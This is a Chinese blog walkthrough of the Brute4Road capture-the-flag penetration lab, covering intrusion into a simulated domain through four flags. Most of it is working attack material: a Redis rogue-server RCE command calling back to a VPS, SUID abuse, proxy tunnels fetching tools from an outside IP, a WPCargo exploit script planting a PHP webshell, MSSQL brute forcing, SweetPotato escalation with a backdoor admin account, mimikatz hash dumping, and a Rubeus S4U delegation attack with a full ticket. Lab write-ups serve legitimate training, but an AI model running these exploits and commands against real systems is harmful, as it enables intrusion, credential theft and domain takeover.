春秋云境-Brute4Road 【详细解析】

2024-08-22 09:20

本文主要是介绍春秋云境-Brute4Road 【详细解析】,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

靶标介绍:

Brute4Road是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。

内网地址Host or FQDN简要描述
172.22.2.7外网 Redis 服务器
172.22.2.18UBUNTU-WEB02WordPress 服务器
172.22.2.16MSSQLSERVER.xiaorang.labMSSQL 数据库
172.22.2.34CLIENT01.xiaorang.lab远程桌面服务未启用 NLA 的主机
172.22.2.3DC.xiaorang.labDC

开题

image-20240812014033509

Flag1

信息搜集

搜集靶标信息,有两种可行的方式,nmap和fscan

nmap是一款非常强大的主机发现和端口扫描工具,而且nmap运用自带的脚本,还能完成漏洞检测,同时支持多平台。

nmap -p 21,22,80,443,8080,6379,3306,5432,5000,8081,9000,27017,27018 -sCV -oN nmap_detailed_scan_Jay17.txt 【IP】

image-20240812014156724

fscan是一款用go语言编写的开源工具,一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。该工具支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis 批量写公钥、计划任务反弹 shell、读取 win 网卡信息、web 指纹识别、web 漏洞扫描、netbios 探测、域控识别等功能。

fscan.exe -h 【IP】

image-20240812014422973

发现有个ftp匿名登录,但是只有一个空的pub文件夹,没啥用。

同时发现开放6379有redis的未授权,重点看redis。


Redis 主从复制RCE

在内网中很容易遇见Redis未授权漏洞

redis 版本是 5.0.12,虽然版本大于5.0.5(有可能扫出来是错的),分析后发现应该是打 Redis 主从复制RCE

注:redis主从RCE打多了会出现redis瘫痪的情况,所以不到万不得已,尽量不要打主从

参考文章:

Redis系列漏洞总结 - FreeBuf网络安全行业门户

Redis未授权四种利用方式与修复方案_redis未授权访问漏洞修复建议-CSDN博客

工具:

https://github.com/n0b0dyCN/redis-rogue-server

Windows下或者Linux下运行(不知道咋的,我的kali用不了只能用vps跑)

python3 redis-rogue-server.py --rhost 【Target-IP】 --lhost 【VPS-IP】 --lport 21002

image-20240812074513826

image-20240812074726996

拿到shell之后输入下面的命令,创建一个伪终端。

python -c 'import pty; pty.spawn("/bin/bash")'

为什么要建立伪终端呢,主要是tty的原因,tty有什么用可以看我这篇文章:Polar 这又是一个上传_polar 自由的文件上传系统-CSDN博客

伪终端建不建对这题影响不大,是个习惯。

image-20240812074657926

此外,使用 msf 也可以打 Redis 主从复制RCE。

/home/redis/flag目录下发现了flag,但是没有权限读取,八九不离十要提权了

image-20240812075303829


Base64提权

首先是提权起手式,查找具备suid权限的命令:

find / -user root -perm -4000 -print 2>/dev/null

比较明显的是base64

image-20240812075428988

利用 base64进行 suid 提权(这种提权只能读取文件)

base64 "/home/redis/flag/flag01" | base64 --decode

image-20240812075647647


Flag2

我们在自己的vpn起一个web服务(我喜欢用python),然后我们将要用到的工具wget传过去(fscan(漏洞扫描)、frp(流量代理,后来因为不稳定换成了gost)、wpscan(wordpress漏洞扫描,kali自带)

服务器执行命令:

cd /root/Jay17/1-nwst
chmod 777 -R ./
python3 -m http.server 9023

image-20240812235207126

image-20240813012305403

跳板机(Redis服务所在主机)执行命令:

cd /tmpwget http://124.71.147.99:9023/frp/frpc
wget http://124.71.147.99:9023/frp/frpc.ini
wget http://124.71.147.99:9023/fscanlschmod 777 fscan
chmod 777 frpc
chmod 777 frpc.ini

image-20240813012456405

刚刚getshell的那台主机(Redis)作为我们的跳板机。

img

我们先把代理挂上,简单配置一下

内网穿透frp下载安装及配置(自动化测试报告利器)-CSDN博客

frp内网穿透_frp下载-CSDN博客

代理服务器客户端Proxifier使用教程 Proxifier图文设置 - DoubleLi - 博客园 (cnblogs.com)

frpc.ini

[common]
server_addr = 124.71.147.99
server_port = 17000[plugin_socks6]
type = tcp
remote_port = 10000
plugin = socks5

frps.ini

[common]
bind_port = 17000

服务器(服务端,所以是frps)上开frp服务端监听

nohup ./frps -c ./frps.ini

image-20240813013256931

靶机(客户端,所以是frpc)开frp

nohup ./frpc -c ./frpc.ini

image-20240813013337453

Proxifier左上角配置文件->代理服务器-添加

image-20240813000212871

设置一下代理为我的VPS124.71.147.99。这里的端口是frpc.ini里面配置的socks5端口,也就是10000

image-20240813013459831

配置一下代理规则,主要是:动作换成socks5,目标主机换成172.22.2.*

image-20240813013650502

在物理机浏览器访问内网地址(在后文内网扫描步骤得到的),代理成功!

image-20240813013806869

frp(反向代理)有点不稳定(后面远控靶机windows经常掉),使用gost(正向代理)进行代理。

redis服务所在的主机已经getshell了,传好文件设置好777权限后,执行以下命令:(真是方便又好用,谢谢chu0✌)

./gost -L=:10001 &

image-20240813030903752

直接代理到靶机(比frp省了一个VPS的步骤)

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

内网扫描

内网渗透主要是基于前期外围打点getshell的webserver,通过收集webserver上的信息,然后对其他内网主机进行口令上的攻击,当然也有一些基于漏洞的攻击。同一域内的主机不计其数,域用户不计其数,为了便于记忆和管理,域成员的密码很多都会有重合。当我们拿到某个域成员的密码,就可以利用它把口子越撕越大,不断丰富我们的密码字典,然后不断地对域内主机进行爆破,直至拿下DC(域控)。

如果你是第一次接触内网渗透,以下的文章可能可以帮助你理解基本概念:

浅谈内网渗透基础知识(一) - FreeBuf网络安全行业门户

如何从零构建对内网穿透的理解-CSDN博客

手把手教你如何进行内网渗透-CSDN博客

内网渗透初探(一) | 小白简单学习内网渗透 - 先知社区 (aliyun.com)

Vulnstack(一)_vulnstack1-CSDN博客

内网渗透之代理转发 - FreeBuf网络安全行业门户

本机没有 ifconfig 命令无法查看ip,这里使用netstat -ano命令来查看网段,这个命令本意是查看端口开放情况。

netstat -ano

image-20240813012546868

当然也可以传个 cdk 执行 ifconfig 命令./cdk ifconfig

可以看到本机内网ip为172.22.2.7

使用fscan进行内网漏洞扫描

./fscan -h 172.22.2.0/24 -o res.txt

结果

./fscan -h 172.22.2.0/24 -o res.txt___                              _    / _ \     ___  ___ _ __ __ _  ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   fscan version: 1.8.4
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.2.18     is alive
(icmp) Target 172.22.2.7      is alive
(icmp) Target 172.22.2.3      is alive
(icmp) Target 172.22.2.16     is alive
(icmp) Target 172.22.2.34     is alive
[*] Icmp alive hosts len is: 5
172.22.2.7:6379 open
172.22.2.16:1433 open
172.22.2.34:445 open
172.22.2.16:445 open
172.22.2.3:445 open
172.22.2.18:445 open
172.22.2.34:139 open
172.22.2.16:139 open
172.22.2.3:139 open
172.22.2.34:135 open
172.22.2.18:139 open
172.22.2.3:135 open
172.22.2.16:135 open
172.22.2.16:80 open
172.22.2.18:22 open
172.22.2.7:80 open
172.22.2.7:22 open
172.22.2.7:21 open
172.22.2.18:80 open
172.22.2.3:88 open
[*] alive ports len is: 20
start vulscan
[*] NetInfo 
[*]172.22.2.3[->]DC[->]172.22.2.3
[*] NetInfo 
[*]172.22.2.16[->]MSSQLSERVER[->]172.22.2.16
[*] WebTitle http://172.22.2.16        code:404 len:315    title:Not Found
[*] NetBios 172.22.2.34     XIAORANG\CLIENT01             
[*] NetInfo 
[*]172.22.2.34[->]CLIENT01[->]172.22.2.34
[*] WebTitle http://172.22.2.7         code:200 len:4833   title:Welcome to CentOS
[*] OsInfo 172.22.2.3	(Windows Server 2016 Datacenter 14393)
[*] OsInfo 172.22.2.16	(Windows Server 2016 Datacenter 14393)
[*] NetBios 172.22.2.18     WORKGROUP\UBUNTU-WEB02        
[*] NetBios 172.22.2.16     MSSQLSERVER.xiaorang.lab            Windows Server 2016 Datacenter 14393
[*] NetBios 172.22.2.3      [+] DC:DC.xiaorang.lab               Windows Server 2016 Datacenter 14393
[+] ftp 172.22.2.7:21:anonymous [->]pub
[*] WebTitle http://172.22.2.18        code:200 len:57738  title:又一个WordPress站点
已完成 20/20
[*] 扫描结束,耗时: 12.67817925s

整理一下内网主机

172.22.2.3 DC
172.22.2.7  本机 
172.22.2.16 MSSQLSERVER
172.22.2.18  WordPress站点
172.22.2.34  XIAORANG\CLIENT01

看结果,有个wordpress,是漏洞点。

WPCargo插件<6.9.0 未授权RCE

接下来使用wpscan工具扫描wordpress站点,发现公开漏洞

修改kali的代理(这步使用的还是frp进行代理)

vim /etc/proxychains4.conf

image-20240813014321213

kali运行wpscan

proxychains4 wpscan --url http://172.22.2.18 2>/dev/null

image-20240813014620488

发现使用了一个插件:wpcargo

漏洞参考文章:

https://wpscan.com/vulnerability/5c21ad35-b2fb-4a51-858f-8ffff685de4a

https://github.com/biulove0x/CVE-2021-25003

利用脚本写入木马:

import sys
import binascii
import requests# This is a magic string that when treated as pixels and compressed using the png
# algorithm, will cause <?=$_GET[1]($_POST[2]);?> to be written to the png file
payload = '2f49cf97546f2c24152b216712546f112e29152b1967226b6f5f50'def encode_character_code(c: int):return '{:08b}'.format(c).replace('0', 'x')text = ''.join([encode_character_code(c) for c in binascii.unhexlify(payload)])[1:]destination_url = 'http://172.22.2.18/'
cmd = 'ls'# With 1/11 scale, '1's will be encoded as single white pixels, 'x's as single black pixels.
requests.get(f"{destination_url}wp-content/plugins/wpcargo/includes/barcode.php?text={text}&sizefactor=.090909090909&size=1&filepath=/var/www/html/webshell.php"
)# We have uploaded a webshell - now let's use it to execute a command.
print(requests.post(f"{destination_url}webshell.php?1=system", data={"2": cmd}
).content.decode('ascii', 'ignore'))

因为做好代理了,所以直接在物理机上执行脚本:

image-20240813014750402

浏览器访问http://172.22.2.18/webshell.php?1=system,发现成功写入后门

image-20240813015012211

蚁剑连接getshell

使用刚刚生成的后门连接蚁剑,注意类型要选择 CMDLINUX。(V2.1.14新增,适配这种后门木马,可以看这篇文章:Releases · AntSwordProject/antSword (github.com))

image-20240813015118339

文件中没flag,猜测flag在数据库中。查看wp-config.php文件,得到数据库用户密码。

image-20240813015203600

连接数据库,可以先检测一下再连

image-20240813015251148

image-20240813015318585

找到flag2。

image-20240813015327960

数据库中还找到一些密码,先留存下来

image-20240813015701220

Flag3

MSSQLSERVER密码爆破

还记得内flag2网扫描阶段发现的主机172.22.2.16 MSSQLSERVER吗,我们尝试用上面获得的密码本爆破下MSSQLSERVER的密码。

默认用户sa,爆破得到密码ElGNkOiC

image-20240813020133263

默认端口1433,Multiple.Database.Utilization.Tools工具连接MSSQLSERVER

image-20240813021552634

连成功之后激活所有组件,编码选择GBK,之后就可以执行命令了

image-20240813021653515

甜土豆提权

Multiple.Database.Utilization.Tools工具连接MSSQLSERVER和土豆提权是高度绑定的,同时目前用户是mssqlserver,权限太低。所以下一步甜土豆提权到system。

右键上传甜土豆到public目录

image-20240813021821101

执行命令。提权成功!

C:/Users/Public/SweetPotato.exe -a "whoami"

image-20240813022112844

尝试新加用户jay17,密码为whoami@666

net user jay17 whoami@666 /add

image-20240813022225506

并将用户jay17加到管理组,赋予最高权限

net localgroup administrators jay17 /add

image-20240813022250660

远程桌面连接

具备管理组用户jay17后,我们尝试远程桌面连接

image-20240813022358448

使用刚刚创建的用户密码

image-20240813022432698

在Administrators用户目录下发现flag3

image-20240813022530560

Flag4

域信息搜集

执行命令systeminfo,发现域环境xiaorang.lab

image-20240813022743212

kali安装,neo4j是个数据库,bloodhound是工具。

apt install neo4j
apt install bloodhound

BloodHound是一款可视化图形分析域环境中的关系的工具,以用图与线的形式,将域内用户、计算机、组、Sessions、ACLs以及域内所有相关用户、组、计算机、登陆信息、访问控制策略之间的关系更直观的展现在红队人员面前进行更便捷的分析域内情况,更快速的在域内提升自己的权限。它也可以使蓝队成员对己方网络系统进行更好的安全检测及保证域的安全性。

Neo4j是一款NOSQL图形数据库,它将结构化数据存储在网络上而不是表中,Bloodhound利用这种特性加以合理分析,可以更加直观的将数据以节点空间”来表达相关数据。BloodHound通过在域内导出相关信息,在将数据收集后,将其导入Neo4j数据库中,进行展示分析。

执行以下命令,进入neo4j控制台,端口7474,默认账号密码neo4j/neo4j

neo4j console

修改下neo4j的默认密码,之后用bloodhound连接一下neo4j

image-20240813030115077

利用system权限,SharpHound工具搜集域信息上传 SharpHound.exe工具,进行域环境分析

C:/Users/Public/SweetPotato.exe -a "C:/Users/jay17/Desktop/SharpHound.exe -c all"

image-20240813024459785

生成的文件(包含了域信息)复制出来

image-20240813031701044

kali中bloodhound打开,得到一张图

image-20240813031921491

image-20240813052340955

image-20240813052709040

我们现在位于MSSQLSERVER.XIAORANG.LAB。

AllowedToDelegate

image-20240813052951151

image-20240813052801404

MSSQLSERVER 配置了到 DC LDAP 和 CIFS 服务的约束性委派,可以用Rubeus申请自身的服务票据,通过 S4U 协议伪造高权限 ST 拿下域控

约束委派攻击

上传minikatz到MSSQLSERVER服务所在靶机,读取域用户哈希

mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords"" exit

image-20240813053244272

Username : MSSQLSERVER$
NTLM     : ff8c8dd5d4b745cf83b34caa1ffe3db5

用Rubeus.exe申请用户MSSQLSERVER的TGT票据

  1. TGT(Ticket Granting Ticket):

    • 在计算机安全和身份验证(如Kerberos协议)中,TGT通常指Ticket Granting Ticket。这是一种用于用户身份验证的票证。用户在成功验证身份后,会收到TGT,然后用它来请求访问特定服务的票证,而不需要再次输入密码。
  2. ST(Service Ticket):

    • 同样在Kerberos等身份验证系统中,ST通常指Service Ticket。TGT用于请求ST,ST则用于访问特定服务。用户通过TGT获取ST后,使用ST访问目标服务。
.\Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:ff8c8dd5d4b745cf83b34caa1ffe3db5 /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap > 1.txt

image-20240813032729740

打开1.txt,复制票据的base64编码

image-20240813032756154

通过Rubeus的S4U2Self协议代表域管理员申请针对域控LDAP服务的票据并注入内存

.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/DC.xiaorang.lab /dc:DC.xiaorang.lab /ptt /ticket:doIFmjCCBZagAwIBBaEDAgEWooIEqzCCBKdhggSjMIIEn6ADAgEFoQ4bDFhJQU9SQU5HLkxBQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMeGlhb3JhbmcubGFio4IEYzCCBF+gAwIBEqEDAgECooIEUQSCBE1tP8AzBwuBATLNy9q2ZXt/9Kjhm7jqe1T0spzJcp95hzCUx/J81bu4tUftiEul1sBPC6g8DMPc8iHiyutFpHs/oo4gzdUf8Ao0D5li8RNRR59hedFOIAO5NUcCX/naBydvUDybfesO2xvW3bvC7oDL6+iFOYlbNx75sXfp7VDJTY0PeN8wMxWjxgYe4LmnxBt2xBjBNN6JWR8LIzFEOWga0C76kSktrKgsROJSncs3rgGO+IHZ5g/qhz0AMX9pywJwrvo3+pMQy8gTqhLFViUVE9Ct+hmxcQI5N1Nii+khmkPRp+kmEhvOVBJ0eV82sk+vMFNjZT9ZDEEWn1j2J3NXE7gAdNhSPHXuItawwy44gxx2zJ1nNPNujCaDsKLkR2zcT77yqhlUURJY3UIwMGylnd5Fy2w9XrxFJhv2sAgJkx7HcmDkJPnU4POE3WcpjdsMatzyah89XuqU6O9iVTXYXz22NNpbwWiFrwjbRIP6ndlrkxXYrOSq1aVCf68Cv0F8GyM/m3VFTv361+RK/uAytpRLiL8bhKrbDrSDwteduTlvfq/AI5HlYcOZVKrQQtFxPCWgyQttINccHjsIYKpCBhwihHhiot1WG9pAaZV8DlVVo2DU7wjn2TLQmm6xAOVBuvydZwzo3rX5JG0VuZ3pqmyMTIlrbCDMbr6KXoDtRDpq7nokItjsJHUHPWFMqv81uP3wiAp6PK9Bb6E/YNxBtg9kCP8JzwBe8lqbIqK+D/EJ6IMbGa9Oydj4rp4u3Sg5z1mzg3bUSIoTyalYoYpaA/QGMMd9LAfImPbOtya8Op6cqeK4JFGBulD+X6obkhxkUdTeezdRAO7B9NgrW97+vUJq54f5Axhx1xil3XqM95370ys1kJx71AtAWTKuffAqOFay3NU+TLctuiLgl4SLJ5zRnlCYB5tMCiOcx6X2/OO1BblWMnGsuRXM+wFG22ylBirh8snTDm1C2bzkqOab78fh4EclrimYVR8p+fv6l2+94Z9Z4nJfULD8P20j9L4g3jGcgIubRa4K+/eBiA5fk88AUF5ODlkGBfiBx20pMROEcJB6SfwDdO8S8WwE/QlFi5OkYK+hqBVnOn981b4SqK5J+GitJDJ2Fg/augqe47SXi6Bdn571RGW8UDMUziR1V0J9edvZdQvI4gsusf1cO0YY3Wp59V8rcjbPTPBiBF4btFGnB3OnFyeUa4rN7ogHQPfGslvOXZ4AdAiUPe2XKhJ0uT99hMk6GeEgA4B12vi23ZR7dBmi0fesK5XLkgcz5oZWlVCD/ZmHTG25BeQTNfZNW0ilev8WBdA/hGcCemDXfu4uMLZt3uuIHJYTfJZjQJ82758W0BoAL5fsS/VN2tG488hulVFXjAfxEBG1T6Xz+/QK7BBbXGbFmz231qBQesXqWoi7o3XUXlneTvuchEd0YwEQ//j7PTmKw6bO88ypYh3DpHnv+e2RI+KjgdowgdegAwIBAKKBzwSBzH2ByTCBxqCBwzCBwDCBvaAbMBmgAwIBF6ESBBAG7KNH5/AVN0DqYMNnVLEQoQ4bDFhJQU9SQU5HLkxBQqIZMBegAwIBAaEQMA4bDE1TU1FMU0VSVkVSJKMHAwUAQOEAAKURGA8yMDI0MDgxMjE5MjcxOVqmERgPMjAyNDA4MTMwNTI3MTlapxEYDzIwMjQwODE5MTkyNzE5WqgOGwxYSUFPUkFORy5MQUKpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDHhpYW9yYW5nLmxhYg==

image-20240813032948932

image-20240813033003726

\\DC.xiaorang.lab\C$

查看域控C盘下\Users\Administrator路径的文件结构

dir \\DC.xiaorang.lab\C$\Users\Administrator

image-20240813055030047

获取flag文件内容

type \\DC.xiaorang.lab\C$\Users\Administrator\flag\flag04.txt

image-20240813055046536

OK,收工

image-20240813033246344

这篇关于春秋云境-Brute4Road 【详细解析】的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1095869

相关文章

网页解析 lxml 库--实战

lxml库使用流程 lxml 是 Python 的第三方解析库,完全使用 Python 语言编写,它对 XPath表达式提供了良好的支 持,因此能够了高效地解析 HTML/XML 文档。本节讲解如何通过 lxml 库解析 HTML 文档。 pip install lxml lxm| 库提供了一个 etree 模块,该模块专门用来解析 HTML/XML 文档,下面来介绍一下 lxml 库

【C++】_list常用方法解析及模拟实现

相信自己的力量,只要对自己始终保持信心,尽自己最大努力去完成任何事,就算事情最终结果是失败了,努力了也不留遗憾。💓💓💓 目录   ✨说在前面 🍋知识点一:什么是list? •🌰1.list的定义 •🌰2.list的基本特性 •🌰3.常用接口介绍 🍋知识点二:list常用接口 •🌰1.默认成员函数 🔥构造函数(⭐) 🔥析构函数 •🌰2.list对象

OWASP十大安全漏洞解析

OWASP(开放式Web应用程序安全项目)发布的“十大安全漏洞”列表是Web应用程序安全领域的权威指南,它总结了Web应用程序中最常见、最危险的安全隐患。以下是对OWASP十大安全漏洞的详细解析: 1. 注入漏洞(Injection) 描述:攻击者通过在应用程序的输入数据中插入恶意代码,从而控制应用程序的行为。常见的注入类型包括SQL注入、OS命令注入、LDAP注入等。 影响:可能导致数据泄

从状态管理到性能优化:全面解析 Android Compose

文章目录 引言一、Android Compose基本概念1.1 什么是Android Compose?1.2 Compose的优势1.3 如何在项目中使用Compose 二、Compose中的状态管理2.1 状态管理的重要性2.2 Compose中的状态和数据流2.3 使用State和MutableState处理状态2.4 通过ViewModel进行状态管理 三、Compose中的列表和滚动

Spring 源码解读:自定义实现Bean定义的注册与解析

引言 在Spring框架中,Bean的注册与解析是整个依赖注入流程的核心步骤。通过Bean定义,Spring容器知道如何创建、配置和管理每个Bean实例。本篇文章将通过实现一个简化版的Bean定义注册与解析机制,帮助你理解Spring框架背后的设计逻辑。我们还将对比Spring中的BeanDefinition和BeanDefinitionRegistry,以全面掌握Bean注册和解析的核心原理。

CSP 2023 提高级第一轮 CSP-S 2023初试题 完善程序第二题解析 未完

一、题目阅读 (最大值之和)给定整数序列 a0,⋯,an−1,求该序列所有非空连续子序列的最大值之和。上述参数满足 1≤n≤105 和 1≤ai≤108。 一个序列的非空连续子序列可以用两个下标 ll 和 rr(其中0≤l≤r<n0≤l≤r<n)表示,对应的序列为 al,al+1,⋯,ar​。两个非空连续子序列不同,当且仅当下标不同。 例如,当原序列为 [1,2,1,2] 时,要计算子序列 [

沁恒CH32在MounRiver Studio上环境配置以及使用详细教程

目录 1.  RISC-V简介 2.  CPU架构现状 3.  MounRiver Studio软件下载 4.  MounRiver Studio软件安装 5.  MounRiver Studio软件介绍 6.  创建工程 7.  编译代码 1.  RISC-V简介         RISC就是精简指令集计算机(Reduced Instruction SetCom

多线程解析报表

假如有这样一个需求,当我们需要解析一个Excel里多个sheet的数据时,可以考虑使用多线程,每个线程解析一个sheet里的数据,等到所有的sheet都解析完之后,程序需要提示解析完成。 Way1 join import java.time.LocalTime;public class Main {public static void main(String[] args) thro

arduino ide安装详细步骤

​ 大家好,我是程序员小羊! 前言: Arduino IDE 是一个专为编程 Arduino 微控制器设计的集成开发环境,使用起来非常方便。下面将介绍如何在不同平台上安装 Arduino IDE 的详细步骤,包括 Windows、Mac 和 Linux 系统。 一、在 Windows 上安装 Arduino IDE 1. 下载 Arduino IDE 打开 Arduino 官网

ZooKeeper 中的 Curator 框架解析

Apache ZooKeeper 是一个为分布式应用提供一致性服务的软件。它提供了诸如配置管理、分布式同步、组服务等功能。在使用 ZooKeeper 时,Curator 是一个非常流行的客户端库,它简化了 ZooKeeper 的使用,提供了高级的抽象和丰富的工具。本文将详细介绍 Curator 框架,包括它的设计哲学、核心组件以及如何使用 Curator 来简化 ZooKeeper 的操作。 1